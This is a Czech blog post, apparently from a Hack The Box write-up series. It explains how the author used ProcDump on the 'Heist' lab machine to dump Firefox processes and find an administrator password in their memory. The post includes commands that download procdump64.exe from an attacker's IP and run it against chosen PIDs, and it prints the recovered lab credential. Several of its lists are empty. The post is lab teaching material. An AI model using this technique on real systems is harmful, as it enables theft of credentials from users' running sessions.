tom@home.htb:~$

Blog o HTB

3 December 2020

ProcDump

Úvod a kontext

ProcDump je praktický nástroj pro vytvoření dumpu běžícího procesu ve Windows. V bezpečnostním řetězci má smysl hlavně tehdy, když už máte přístup na host, vidíte zajímavý proces a dává důvod předpokládat, že v jeho paměti leží heslo, token nebo jiný autentizační artefakt. Není to univerzální memory forensics framework. Je to rychlý způsob, jak z konkrétního PID udělat analyzovatelný soubor.

Na Heistu byl právě tento pattern rozhodující. Na serveru běželo několik procesů Firefoxu, což naznačovalo interaktivní práci administrátora s webem. Místo slepého procházení disku dávalo větší smysl udělat dump procesu a hledat v něm login artefakty. ProcDump tu tedy neslouží jako “pwn” nástroj, ale jako velmi praktický sběrač runtime tajemství.

Co tenhle nástroj v praxi řeší

ProcDump má největší hodnotu ve chvíli, kdy potřebujete:

Prakticky tedy stojí na rozhraní mezi procesní observací a analýzou tajemství v paměti. Neřeší sám interpretaci. Jen rychle dodá artefakt, se kterým lze dál pracovat.

Nejčastější scénáře využití v tomto projektu

Dump browser procesu kvůli login artefaktům

Na Heistu šlo právě o tento čistý případ. Na systému běželo více instancí Firefoxu, což bylo na serveru samo o sobě podezřelé. Rozumný další krok proto nebyl procházet náhodné adresáře, ale dumpnout procesy a hledat v nich řetězce související s loginem:

Get-Process
Get-Process Fire*
wget "http://10.10.15.213:8000/procdump64.exe" -OutFile procdump64.exe
Start-Process procdump64.exe 6284
Start-Process procdump64.exe 6472

Jakmile se pak v dumpu objeví:

Administrator / 4dD!5}x/re8]FBuZ

je zřejmé, že hodnotou není dump samotný, ale správný výběr procesu a správná hypotéza, co v něm hledat.

Převod runtime podezření na analyzovatelný artefakt

Tohle je obecnější, ale prakticky důležitý pattern. Běžící proces často obsahuje věci, které v klidovém stavu na disku nenajdete:

ProcDump je užitečný přesně tehdy, když chcete tuhle runtime vrstvu zachytit rychle a cíleně.

Širší logiku tohoto typu práce rozebírám i v článku Live credential extraction z procesní paměti.

Kdy je ProcDump nejlepší volba

ProcDump dává největší smysl tehdy, když:

Naopak není vhodný jako náhrada za celkovou lokální enumeraci. Bez dobré hypotézy jen vytvoří velký soubor bez zjevné hodnoty.

Nejčastější chyby v praxi

Dump bez předchozí hypotézy

Na Heistu nešlo o náhodný proces. Šlo o browser, ve kterém zjevně někdo pracoval. To je zásadní rozdíl. Dump procesu má smysl tehdy, když víte, proč zrovna ten proces stojí za to.

Hledání bez konkrétních řetězců

Hodnota dumpu nevzniká až při “hluboké forenzní analýze”. Často vznikne už tím, že víte, co hledat:

Zaměnění procesu s nejvyššími právy za nejvyšší hodnotu

Nejcennější proces nemusí být ten nejprivilegovanější. Často je cennější ten, ve kterém uživatel právě pracuje s webem, VPN nebo správcovskou konzolí.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

HTB Stroje

Techniky

Nástroje

tags: nastroje - windows - memory - dump - credentials - processes